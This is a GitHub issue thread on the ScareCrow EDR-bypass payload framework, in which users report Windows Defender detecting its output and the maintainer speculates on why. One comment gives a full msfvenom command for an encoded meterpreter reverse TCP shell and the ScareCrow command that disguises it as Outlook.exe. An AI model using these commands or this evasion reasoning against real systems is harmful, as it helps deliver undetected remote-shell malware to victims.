search

optiv / ScareCrow

ScareCrow - Payload creation framework designed around EDR bypass.
2.71k stars 503 forks source link

Detected by AV #40

Closed jm0202 closed 2 years ago

jm0202 commented 2 years ago

Payload is detected by defender as malicious and deleted

corsch commented 2 years ago

Can you provide more information regarding the detection?

Tylous commented 2 years ago

Bumping thread?

jm0202 commented 2 years ago

not sure what info you need @corsch

Tylous commented 2 years ago

It is important to remember that Defender is not a userland product. I would need the information about how it was caught, what type of shellcode, staged or stateless. Is this Defender ATP? What flags do you use.

JustForUni commented 2 years ago

Maybe i can jump in on this one?

I tried it last night for a university project and it got detected immediatly during the download.

What i was using:

Note: I was trying it with and without the encoding - same results msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<"MyIP"> LPORT=<"MyPort"> -e x86/shikata_ga_nai -i 256 -f raw -o HelloWorld_enc256.bin

./ScareCrow/ScareCrow -I HelloWorld_enc256.bin -domain www.razer.com -sandbox

got a successfully created Outlook.exe but it got detected during the download already.

i'm running Kali 2021.4 and Windows 10 VM 21H1 (Build 19043.1415) The Detection was: Trojan:Win32/Ulthar.A!ml

Tylous commented 2 years ago

So several things are going on here. First off, Defender is not a user land-based anti-malware tool and while I assume this is not the paid subscription (based on @JustForUni info) I will say that more than likely it's the shellcode (defender has indexed and signaturized 100s of variations of meterpreter being that its the most common shellcode framework for the last 10 plus years. I suspect (this is based on my experience doing implant research) that encoding using shikata_ga_nai would yield next to the difference. I would also pose if cloud-delivery protection and sample submission were enabled that they were able to scan and detect shellcode was related to Ulthar ( a threat that utilized meterpreter). Another speculation I have is that they're catching the binaries generated from scarecrow simply on signatures (I wonder if a DLL with some of the lesser-known options would work fine) Unfortunately, this is the issue with any popular tool - it becomes the focus of everyone. That being said, I am diligently working on a new version to resolve all issues. Please be patient as I develop this.